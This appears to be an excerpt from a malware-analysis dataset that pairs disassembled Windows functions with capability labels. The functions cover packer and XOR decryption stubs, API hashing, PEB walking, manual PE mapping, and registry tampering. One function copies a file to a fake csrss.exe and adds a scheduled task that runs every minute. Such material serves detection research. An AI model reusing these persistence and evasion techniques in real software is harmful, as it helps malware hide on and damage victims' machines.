joyce8/EMBER2024-capa huggingface dataset:
Function at 0x5f27e0
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x195000]
push edi
jmp 0x5f27fa
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x5f2801
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x5f27f0
mov eax, 1
add ebx, ebx
jne 0x5f2813
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x5f2824
jne 0x5f2843
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x5f2843
dec eax
add ebx, ebx
jne 0x5f2830
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
jmp 0x5f2808
add ebx, ebx
jne 0x5f283f
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jmp 0x5f2895
xor ecx, ecx
sub eax, 3
jb 0x5f285b
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x5f28ca
sar eax, 1
mov ebp, eax
jmp 0x5f2866
add ebx, ebx
jne 0x5f2866
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x5f2834
inc ecx
add ebx, ebx
jne 0x5f2874
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x5f2834
add ebx, ebx
jne 0x5f2881
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x5f2876
jne 0x5f2892
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x5f2876
add ecx, 2
cmp ebp, 0xfffffb00
adc ecx, 2
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x5f28b4
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x5f28a6
jmp 0x5f27f6
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x5f28b4
add edi, ecx
jmp 0x5f27f6
pop esi
mov edi, esi
mov ecx, 0x40d6
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x5f28d2
cmp byte [edi], 0x11
jne 0x5f28d2
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x5f28d7
lea edi, [esi + 0x1eb000]
mov eax, dword [edi]
or eax, eax
je 0x5f294f
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x2ff32c]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x2ff4a8]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x5f2904
mov ecx, edi
jns 0x5f2933
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x2ff4ac]
or eax, eax
je 0x5f2949
mov dword [ebx], eax
add ebx, 4
jmp 0x5f2921
call dword [esi + 0x2ff4bc]
add edi, 4
lea ebx, [esi - 4]
xor eax, eax
mov al, byte [edi]
inc edi
or eax, eax
je 0x5f2980
cmp al, 0xef
ja 0x5f2973
add ebx, eax
mov eax, dword [ebx]
xchg ah, al
rol eax, 0x10
xchg ah, al
add eax, esi
mov dword [ebx], eax
jmp 0x5f2955
and al, 0xf
shl eax, 0x10
mov ax, word [edi]
add edi, 2
jmp 0x5f2962
mov ebp, dword [esi + 0x2ff4b0]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x23f]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x5f29b4
sub esp, 0xffffff80
jmp 0x4204f7
Function at 0x4025fa
Capabilities:
Encode data using xor

Disassembly:
sub esp, 0xc
push ebx
mov ebx, ecx
push ebp
push esi
push edi
mov eax, dword [ebx]
mov ebp, edx
mov edi, dword [ebx + 4]
xor edi, eax
mov dword [esp + 0x14], eax
mov eax, edi
mov ecx, edi
and eax, 0xfffffffc
mov esi, edi
add eax, 4
and cl, 3
cmovne esi, eax
mov ecx, esi
call fcn.0040302e
mov dword [esp + 0x18], eax
test eax, eax
je 0x402675
shr esi, 2
lea edx, [ebx + 8]
xor ebx, ebx
and dword [esp + 0x10], ebx
lea ecx, [edx + esi*4]
mov esi, ecx
sub esi, edx
add esi, 3
shr esi, 2
cmp edx, ecx
cmova esi, dword [esp + 0x10]
test esi, esi
je 0x40266e
mov ecx, eax
sub ecx, edx
mov eax, dword [edx]
xor eax, dword [esp + 0x14]
inc ebx
mov dword [ecx + edx], eax
lea edx, [edx + 4]
cmp ebx, esi
jb 0x402659
mov eax, dword [esp + 0x18]
test ebp, ebp
je 0x402675
mov dword [ebp], edi
pop edi
pop esi
pop ebp
pop ebx
add esp, 0xc
ret

Function at 0x402682
Capabilities:
Encode data using xor

Disassembly:
sub esp, 0xc
push ebx
push ebp
mov ebp, ecx
push esi
push edi
mov eax, dword [ebp]
mov ebx, dword [ebp + 4]
xor ebx, eax
mov dword [esp + 0x10], eax
mov dword [esp + 0x18], ebx
lea esi, [ebx + 1]
mov eax, esi
mov edx, esi
and eax, 0xfffffffc
add eax, 4
and dl, 3
cmovne esi, eax
lea ecx, [esi + esi]
call fcn.0040302e
mov edi, eax
mov dword [esp + 0x14], edi
test edi, edi
je 0x402730
shr esi, 2
add ebp, 8
xor eax, eax
lea ecx, [esi*4]
mov esi, edi
add ecx, ebp
mov edx, ecx
sub edx, ebp
add edx, 3
shr edx, 2
cmp ebp, ecx
cmova edx, eax
test edx, edx
je 0x40272a
mov edi, dword [esp + 0x10]
xor ebx, ebx
mov ecx, dword [ebp]
lea ebp, [ebp + 4]
xor ecx, edi
movzx eax, cl
mov word [esi], ax
mov eax, ecx
shr eax, 8
lea esi, [esi + 8]
movzx eax, al
mov word [esi - 6], ax
shr ecx, 0x10
movzx eax, cl
shr ecx, 8
inc ebx
mov word [esi - 4], ax
movzx eax, cl
mov word [esi - 2], ax
cmp ebx, edx
jb 0x4026ec
mov edi, dword [esp + 0x14]
mov ebx, dword [esp + 0x18]
xor eax, eax
mov word [edi + ebx*2], ax
mov eax, edi
pop edi
pop esi
pop ebp
pop ebx
add esp, 0xc
ret

Function at 0x40273a
Capabilities:
Encode data using xor

Disassembly:
sub esp, 0x10
push ebx
mov ebx, ecx
push ebp
push esi
push edi
mov eax, dword [ebx]
mov ebp, dword [ebx + 4]
xor ebp, eax
mov dword [esp + 0x14], eax
mov dword [esp + 0x1c], ebp
lea edi, [ebp + 1]
mov eax, edi
mov edx, edi
and eax, 0xfffffffc
add eax, 4
and dl, 3
cmovne edi, eax
mov ecx, edi
call fcn.0040302e
mov esi, eax
mov dword [esp + 0x18], esi
test esi, esi
je 0x4027d4
and dword [esp + 0x10], 0
add ebx, 8
shr edi, 2
xor eax, eax
mov edx, esi
lea ecx, [ebx + edi*4]
mov edi, ecx
sub edi, ebx
add edi, 3
shr edi, 2
cmp ebx, ecx
cmova edi, eax
test edi, edi
je 0x4027d0
mov ebp, dword [esp + 0x10]
mov esi, dword [esp + 0x14]
mov ecx, dword [ebx]
lea ebx, [ebx + 4]
xor ecx, esi
mov byte [edx], cl
mov eax, ecx
shr eax, 8
lea edx, [edx + 4]
shr ecx, 0x10
mov byte [edx - 3], al
mov byte [edx - 2], cl
shr ecx, 8
inc ebp
mov byte [edx - 1], cl
cmp ebp, edi
jb 0x4027a3
mov esi, dword [esp + 0x18]
mov ebp, dword [esp + 0x1c]
mov byte [esi + ebp], 0
pop edi
mov eax, esi
pop esi
pop ebp
pop ebx
add esp, 0x10
ret
Function at 0x402b09
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x40
mov dword [ebp - 0x40], 0x6840c29b
xor eax, eax
mov dword [ebp - 0x3c], 0x9a100ab6
xor edx, edx
mov dword [ebp - 0x38], 0x55b2feed
mov dword [ebp - 0x34], 0xadb25c37
mov dword [ebp - 0x30], 0x7360ffc0
mov dword [ebp - 0x2c], 0x8fb637b4
mov dword [ebp - 0x28], 0x97a38fb8
mov dword [ebp - 0x24], 0xbb5fecf5
mov dword [ebp - 0x20], 0x458f3daa
mov dword [ebp - 0x1c], 0x31254a11
mov dword [ebp - 0x18], 0xa456340c
push ebx
push edi
lea edi, [ebp - 0x14]
mov ebx, ecx
stosd dword es:[edi], eax
push 0x2b
pop ecx
stosd dword es:[edi], eax
stosd dword es:[edi], eax
mov dword [ebp - 8], 0x1610
add dword [ebp - 8], 0xfffff172
xor dword [ebp - 8], 0x8a7afa9d
xor dword [ebp - 8], 0x8a7afd1f
mov dword [ebp - 4], 0x83a8
xor dword [ebp - 4], 0x79030f1
shl dword [ebp - 4], 0xf
add dword [ebp - 4], 0x2a8b
or dword [ebp - 4], 0x26197e1
shl dword [ebp - 4], 0xe
shr dword [ebp - 4], 7
or dword [ebp - 4], 0xaefa28b0
mov eax, dword [ebp - 4]
div ecx
mov dword [ebp - 4], eax
xor dword [ebp - 4], 0x411dc3f
mov dword [ebp - 4], 0x9485
add dword [ebp - 4], 0xffff5998
shr dword [ebp - 4], 0xf
or dword [ebp - 4], 0x77f36ffe
mov eax, dword [ebp - 4]
mov dword [ebp - 4], eax
add dword [ebp - 4], 0xffff9f31
xor dword [ebp - 4], 0x77f39f20
cmp byte [ebx], 0
je 0x402c9b
push esi
mov edi, dword [ebp - 8]
xor edx, edx
mov dword [ebp - 4], 0x83a8
xor dword [ebp - 4], 0x79030f1
shl dword [ebp - 4], 0xf
add dword [ebp - 4], 0x2a8b
or dword [ebp - 4], 0x26197e1
shl dword [ebp - 4], 0xe
shr dword [ebp - 4], 7
or dword [ebp - 4], 0xaefa28b0
mov eax, dword [ebp - 4]
div ecx
push 0x2b
mov dword [ebp - 4], eax
xor dword [ebp - 4], 0x411dc3f
mov cl, byte [ebp - 4]
mov esi, dword [ebp - 8]
mov dword [ebp - 4], 0x9485
add dword [ebp - 4], 0xffff5998
shr dword [ebp - 4], 0xf
or dword [ebp - 4], 0x77f36ffe
mov eax, dword [ebp - 4]
mov dword [ebp - 4], eax
add dword [ebp - 4], 0xffff9f31
xor dword [ebp - 4], 0x77f39f20
shl esi, cl
mov cl, byte [ebp - 4]
mov edx, dword [ebp - 8]
movsx eax, byte [ebx]
mov dword [ebp - 8], eax
add dword [ebp - 8], esi
shl edx, cl
add dword [ebp - 8], edx
sub dword [ebp - 8], edi
inc ebx
pop ecx
cmp byte [ebx], 0
jne 0x402bfe
pop esi
mov eax, dword [ebp - 8]
pop edi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x402e23
Capabilities:
Resolve function by parsing pe exports

Disassembly:
sub esp, 0x14
push ebx
mov ebx, ecx
mov dword [esp + 4], edx
push ebp
push esi
push edi
mov eax, dword [ebx + 0x3c]
xor esi, esi
mov dword [esp + 0x20], eax
mov ebp, esi
mov edi, dword [eax + ebx + 0x78]
add edi, ebx
mov eax, dword [edi + 0x1c]
mov ecx, dword [edi + 0x20]
add eax, ebx
mov dword [esp + 0x1c], eax
add ecx, ebx
mov eax, dword [edi + 0x24]
add eax, ebx
mov dword [esp + 0x14], ecx
mov dword [esp + 0x18], eax
cmp dword [edi + 0x18], esi
jbe 0x402eae
mov ecx, dword [ecx + ebp*4]
add ecx, ebx
call fcn.00402b09
xor eax, 0x6b88efb
cmp eax, dword [esp + 0x10]
je 0x402e82
mov ecx, dword [esp + 0x14]
inc ebp
cmp ebp, dword [edi + 0x18]
jb 0x402e61
jmp 0x402eae
mov eax, dword [esp + 0x18]
mov esi, dword [esp + 0x1c]
movzx eax, word [eax + ebp*2]
mov esi, dword [esi + eax*4]
add esi, ebx
cmp esi, edi
jb 0x402eae
mov eax, dword [esp + 0x20]
mov eax, dword [eax + ebx + 0x7c]
add eax, edi
cmp esi, eax
jae 0x402eae
mov ecx, esi
call fcn.00402eef
mov esi, eax
pop edi
mov eax, esi
pop esi
pop ebp
pop ebx
add esp, 0x14
ret

Function at 0x402eb8
Capabilities:
Access peb ldr_data

Disassembly:
mov eax, dword fs:[0x30]
push ebx
push esi
push edi
mov edi, dword [eax + 0xc]
mov ebx, ecx
add edi, 0xc
mov esi, dword [edi]
jmp 0x402ee0
mov ecx, dword [esi + 0x30]
call fcn.00402ca4
xor eax, 0x6e32c425
cmp eax, ebx
je 0x402eea
mov esi, dword [esi]
cmp esi, edi
jne 0x402ecd
xor eax, eax
pop edi
pop esi
pop ebx
ret
mov eax, dword [esi + 0x18]
jmp 0x402ee6

Function at 0x40308f
Capabilities:
Enumerate pe sections

Disassembly:
sub esp, 0xc
push ebp
mov ebp, ecx
push edi
cmp edx, 0x40
jb 0x403186
call fcn.0040318e
mov edi, eax
mov dword [esp + 0x10], edi
test edi, edi
je 0x403186
push esi
push 0x40
push 0x3000
push dword [edi + 0x50]
mov edx, 0x3f6928b1
mov ecx, 0xe14c2257
push 0
push 0xd1
call fcn.00402f7b
pop ecx
call eax
mov esi, eax
test esi, esi
je 0x403181
movzx ecx, word [edi + 0x14]
lea eax, [edi + 0x18]
add eax, ecx
mov edx, ebp
movzx ecx, word [edi + 6]
push ebx
push dword [edi + 0x54]
imul ebx, ecx, 0x28
mov ecx, esi
mov dword [esp + 0x14], eax
add ebx, eax
call fcn.0040300d
pop ecx
mov ecx, dword [esp + 0x10]
cmp ecx, ebx
jae 0x40314a
sub ebx, ecx
lea eax, [ecx + 0x10]
mov dword [esp + 0x10], eax
xor edx, edx
push 0x28
pop ecx
lea eax, [ebx - 1]
mov ebx, dword [esp + 0x10]
div ecx
inc eax
mov edi, eax
mov ecx, dword [ebx]
cmp dword [ebx - 8], ecx
mov edx, dword [ebx + 4]
cmovb ecx, dword [ebx - 8]
add edx, ebp
push ecx
mov ecx, dword [ebx - 4]
add ecx, esi
call fcn.0040300d
lea ebx, [ebx + 0x28]
pop ecx
dec edi
jne 0x403126
mov edi, dword [esp + 0x18]
mov edx, edi
mov ecx, esi
call fcn.0040325c
mov edx, edi
mov ecx, esi
call fcn.004031b7
pop ebx
test eax, eax
jne 0x403181
push 0x8000
push eax
push esi
push 0x1bb
mov edx, 0xfc4a51ac
mov ecx, 0xe14c2257
call fcn.00402f7b
pop ecx
call eax
xor esi, esi
mov eax, esi
pop esi
jmp 0x403188
xor eax, eax
pop edi
pop ebp
add esp, 0xc
ret
Function at 0x40318e
Capabilities:
Parse pe header

Disassembly:
mov eax, 0x5a4d
cmp word [ecx], ax
je 0x40319b
xor eax, eax
ret
mov eax, dword [ecx + 0x3c]
add eax, ecx
cmp dword [eax], 0x4550
jne 0x403198
mov edx, 0x10b
xor ecx, ecx
cmp word [eax + 0x18], dx
cmovne eax, ecx
ret
Function at 0x10070e7a
Capabilities:
Encode data using xor

Disassembly:
pushfd
mov byte [esp], ah
inc dl
jmp 0x10046440
seta dl
mov dl, byte [esi]
jmp 0x1006caa4

Function at 0x1007658b
Capabilities:
Resolve function by parsing pe exports

Disassembly:
jmp 0x1007016e
pushal
jmp 0x10070d59
pushf
pushal
call fcn.10070e7a
pushal
pushal
push dword [esp + 0x40]
ret 0x44
clc
add dl, dl
pushfd
lea esp, [esp + 4]
jne 0x10070864
jae 0x10046241
mov dl, dl
push eax
pushf
pop word [esp + 2]
setno dl
pushal
pushfd
mov dl, byte [esi]
call fcn.10070d83
jle 0x10069d83
je 0x100466e6
cmc
setle dl
mov esi, dword [eax + 0x3c]
rcl dl, cl
and dx, bp
movsx edx, cl
test ch, 0xb
add esi, eax
shl dx, 7
movzx dx, cl
mov edx, dword [esi + 0x78]
cmc
test edx, edx
push eax
call fcn.1006e25a
Function at 0x4013c0
Capabilities:
Generate random numbers via winapi
Query or enumerate registry key
Query or enumerate registry value
Set registry value
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
mov eax, dword [0x414024]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
push 4
push 0x3000
push 0x208
push 0
mov ebx, ecx
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push 0
push 0
push 0
mov edi, eax
mov dword [ebp - 0x10], 0x104
push 0
lea eax, [ebp - 0x10]
mov dword [ebp - 0x20], edi
push eax
push edi
push 0
push ebx
mov esi, 1
call dword [sym.imp.ADVAPI32.dll_RegEnumKeyExW]
cmp eax, 0x103
je 0x40145a
lea eax, [ebp - 0x18]
push eax
push 0x2001f
push 0
push edi
push ebx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x401436
mov ecx, dword [ebp - 0x18]
call fcn.004013c0
push 0
push 0
push 0
push 0
lea eax, [ebp - 0x10]
mov dword [ebp - 0x10], 0x104
push eax
push edi
push esi
push ebx
call dword [sym.imp.ADVAPI32.dll_RegEnumKeyExW]
inc esi
cmp eax, 0x103
jne 0x401417
push 4
push 0x3000
push 0x2000
push 0
mov dword [ebp - 0x14], 0x2000
mov dword [ebp - 8], 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
lea ecx, [ebp - 0x14]
mov dword [ebp - 0x1c], eax
push ecx
push eax
lea eax, [ebp - 8]
mov dword [ebp - 0x10], 0x104
push eax
push 0
lea eax, [ebp - 0x10]
push eax
push edi
push 0
push ebx
call dword [sym.imp.ADVAPI32.dll_RegEnumValueW]
mov esi, 1
mov dword [ebp - 0x18], esi
cmp eax, 0x103
je 0x40157f
test eax, eax
jne 0x401548
mov edi, dword [ebp - 0x14]
xor esi, esi
test edi, edi
je 0x401524
mov eax, dword [0x4153e4]
test eax, eax
jne 0x4014ed
push 0xf0000040
push 1
push eax
push eax
push 0x4153e4
call dword [sym.imp.ADVAPI32.dll_CryptAcquireContextW]
test eax, eax
je 0x4015b3
mov eax, dword [0x4153e4]
lea ecx, [ebp - 0xc]
push ecx
push 4
push eax
call dword [sym.imp.ADVAPI32.dll_CryptGenRandom]
mov eax, dword [ebp - 0x1c]
mov edx, dword [ebp - 0xc]
mov cl, byte [esi + eax]
lea eax, [ecx + 1]
dec cl
and dl, 1
movzx eax, al
movzx ecx, cl
cmovne ecx, eax
mov eax, dword [ebp - 0x1c]
mov byte [esi + eax], cl
inc esi
cmp esi, edi
jb 0x4014c3
mov edi, dword [ebp - 0x14]
jmp 0x401527
mov eax, dword [ebp - 0x1c]
push edi
mov edi, dword [ebp - 0x20]
push eax
push dword [ebp - 8]
push 0
push edi
push ebx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
test eax, eax
jne 0x401545
push 0x32
call dword [sym.imp.KERNEL32.dll_Sleep]
mov esi, dword [ebp - 0x18]
lea eax, [ebp - 0x14]
mov dword [ebp - 0x14], 0x2000
push eax
push dword [ebp - 0x1c]
lea eax, [ebp - 8]
mov dword [ebp - 0x10], 0x104
push eax
push 0
lea eax, [ebp - 0x10]
push eax
push edi
push esi
push ebx
call dword [sym.imp.ADVAPI32.dll_RegEnumValueW]
inc esi
mov dword [ebp - 0x18], esi
cmp eax, 0x103
jne 0x4014b2
mov esi, dword [sym.imp.KERNEL32.dll_VirtualFree]
push 0x8000
push 0
push edi
call esi
push 0x8000
push 0
push dword [ebp - 0x1c]
call esi
push ebx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00401ea5
mov esp, ebp
pop ebp
ret
push 1
call dword [sym.imp.KERNEL32.dll_ExitProcess]
Function at 0x4018c0
Capabilities:
Create process on windows
Create process suspended
Get file size
Query environment variable
Read file on windows
Schedule task via schtasks
Set file attributes
Write and execute a file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x524
mov eax, dword [0x414024]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
push 0x104
mov ebx, ecx
mov esi, edx
push ebx
push str._userprofile_csrss.exe
mov dword [ebp - 0x524], esi
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_lstrcmpW]
test eax, eax
je 0x401aa3
mov ecx, 0x44
lea eax, [ebp - 0x508]
nop dword [eax]
mov byte [eax], 0
lea eax, [eax + 1]
sub ecx, 1
jne 0x401910
mov dword [ebp - 0x508], 0x44
lea eax, [ebp - 0x520]
mov ecx, 0x10
mov byte [eax], 0
lea eax, [eax + 1]
sub ecx, 1
jne 0x401930
lea eax, [ebp - 0xb8]
mov dword [ebp - 0xc], 0x22005c
push eax
lea eax, [ebp - 0x4b8]
mov dword [ebp - 8], 0x22
mov ecx, 0x29
lea edi, [ebp - 0xb8]
mov esi, str.schtasks.exe__SC_MINUTE__MO_1__F__Create__TN_SystemRuntimeSubsystemChecks__tr___
rep movsd dword es:[edi], dword [esi]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
mov esi, dword [sym.imp.KERNEL32.dll_lstrcatW]
lea eax, [ebp - 0x4b8]
push ebx
push eax
call esi
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x4b8]
push eax
call esi
xor eax, eax
mov word [ebp - 0x4d8], ax
lea eax, [ebp - 0x520]
push eax
lea eax, [ebp - 0x508]
push eax
push 0
push 0
push 0
push 0
push 0
push 0
lea eax, [ebp - 0x4b8]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
push dword [ebp - 0x520]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
push dword [ebp - 0x51c]
call esi
mov esi, dword [sym.imp.KERNEL32.dll_CreateFileW]
push 0
push 0x80
push 3
push 0
push 1
push SysReAllocString
push dword [ebp - 0x524]
call esi
push 0
push 0x80
push 2
push 0
push 2
push 0x40000000
push ebx
mov edi, eax
call esi
mov dword [ebp - 0x524], eax
cmp edi, 0xffffffff
je 0x401a9a
cmp eax, 0xffffffff
je 0x401a9a
lea eax, [ebp - 0x510]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_GetFileSizeEx]
push 4
push 0x3000
push dword [ebp - 0x510]
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov esi, eax
test esi, esi
je 0x401a89
push 0
lea eax, [ebp - 0x4bc]
push eax
push dword [ebp - 0x510]
push esi
push edi
call dword [sym.imp.KERNEL32.dll_ReadFile]
push 0
lea eax, [ebp - 0x4c0]
push eax
push dword [ebp - 0x4bc]
push esi
push dword [ebp - 0x524]
call dword [sym.imp.KERNEL32.dll_WriteFile]
push 0x8000
push 0
push esi
call dword [sym.imp.KERNEL32.dll_VirtualFree]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
push edi
call esi
push dword [ebp - 0x524]
call esi
push 6
push ebx
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00401ea5
mov esp, ebp
pop ebp
ret
Function at 0x433000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
call 0x43300c
nop
nop
nop
pop eax
nop
nop
add eax, 0x40a063
nop
nop
sub eax, 0x40a009
nop
mov ebx, dword [eax]
nop
nop
nop
nop
mov ecx, dword [eax + 4]
nop
nop
nop
nop
mov edx, dword [eax + 8]
nop
nop
nop
nop
nop
xor dword [ebx], edx
add ebx, 4
nop
nop
nop
nop
cmp ebx, ecx
nop
nop
nop
nop
nop
jl 0x433030
nop
nop
add eax, 0xc
nop
nop
nop
nop
nop
cmp dword [eax], 0
nop
nop
nop
nop
jne 0x43301e
nop
nop
popal
nop
nop
nop
nop
jmp 0x431219
Function at 0x432000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
mov eax, section..text
nop
nop
nop
nop
push 4
nop
nop
pop edi
nop
nop
nop
nop
nop
nop
cmp eax, 0
nop
nop
nop
nop
je 0x432072
nop
mov ebx, 0x40c7d0
nop
nop
nop
nop
mov ecx, ebx
nop
nop
nop
nop
sub ecx, eax
nop
nop
nop
nop
nop
xor edx, edx
nop
nop
nop
push eax
nop
nop
nop
nop
nop
nop
mov eax, ecx
nop
div edi
nop
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
nop
pop eax
nop
nop
mov esi, 0x182446b
nop
nop
nop
nop
xor dword [eax], esi
nop
nop
nop
add eax, edi
nop
nop
nop
nop
nop
nop
loop 0x432060
mov eax, section..data
nop
cmp eax, 0
nop
nop
nop
nop
je 0x4320d2
nop
nop
nop
mov ebx, 0x42f314
nop
mov ecx, ebx
nop
nop
nop
nop
nop
nop
nop
sub ecx, eax
nop
nop
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
nop
push eax
nop
mov eax, ecx
nop
nop
nop
nop
nop
nop
nop
div edi
xchg ecx, eax
nop
nop
nop
nop
nop
pop eax
nop
nop
nop
nop
nop
mov esi, 0x7b7b168a
nop
nop
nop
nop
xor dword [eax], esi
nop
nop
add eax, edi
nop
nop
nop
nop
nop
loop 0x4320c0
nop
nop
nop
nop
popal
nop
nop
nop
jmp 0x431219
Function at 0x4062eb
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x4f4aa8]
jne 0x4062f5
repz ret
jmp fcn.0040a8ec

Function at 0x40cfbb
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.00407c4e
and dword [ebp - 4], 0
cmp dword [0x4f6138], 0
mov ebx, eax
jne 0x40d06c
push 0x402ca4
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x40d11d
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x402c98
push edi
call esi
test eax, eax
je 0x40d11d
push eax
call fcn.00407bdc
mov dword [esp], 0x402c88
push edi
mov dword [0x4f6138], eax
call esi
push eax
call fcn.00407bdc
mov dword [esp], 0x402c74
push edi
mov dword [0x4f613c], eax
call esi
push eax
call fcn.00407bdc
mov dword [esp], 0x402c58
push edi
mov dword [0x4f6140], eax
call esi
push eax
call fcn.00407bdc
pop ecx
mov dword [0x4f6148], eax
test eax, eax
je 0x40d06c
push 0x402c40
push edi
call esi
push eax
call fcn.00407bdc
pop ecx
mov dword [0x4f6144], eax
mov eax, dword [0x4f6144]
cmp eax, ebx
je 0x40d0c4
cmp dword [0x4f6148], ebx
je 0x40d0c4
push eax
call fcn.00407c57
push dword [0x4f6148]
mov esi, eax
call fcn.00407c57
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x40d0c4
test edi, edi
je 0x40d0c4
call esi
test eax, eax
je 0x40d0bb
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x40d0bb
test byte [ebp - 0xc], 1
jne 0x40d0c4
or dword [ebp + 0x10], 0x200000
jmp 0x40d0fd
mov eax, dword [0x4f613c]
cmp eax, ebx
je 0x40d0fd
push eax
call fcn.00407c57
pop ecx
test eax, eax
je 0x40d0fd
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x40d0fd
mov eax, dword [0x4f6140]
cmp eax, ebx
je 0x40d0fd
push eax
call fcn.00407c57
pop ecx
test eax, eax
je 0x40d0fd
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x4f6138]
call fcn.00407c57
pop ecx
test eax, eax
je 0x40d11d
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x40d11f
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret

Function at 0x432000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
nop
mov eax, section..text
nop
mov ebx, 0x40c7d0
nop
mov ecx, 0x43005ffd
nop
nop
test eax, eax
nop
nop
nop
nop
nop
nop
je 0x43204e
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
inc eax
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
cmp eax, ebx
nop
nop
jne 0x432024
nop
nop
nop
mov eax, section..data
nop
mov ebx, 0x42f314
nop
mov ecx, 0x12ec2e87
nop
nop
nop
nop
test eax, eax
nop
nop
nop
nop
je 0x432084
nop
nop
nop
nop
xor dword [eax], ecx
add eax, 4
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
nop
jne 0x43206c
nop
nop
nop
nop
popal
nop
jmp 0x431219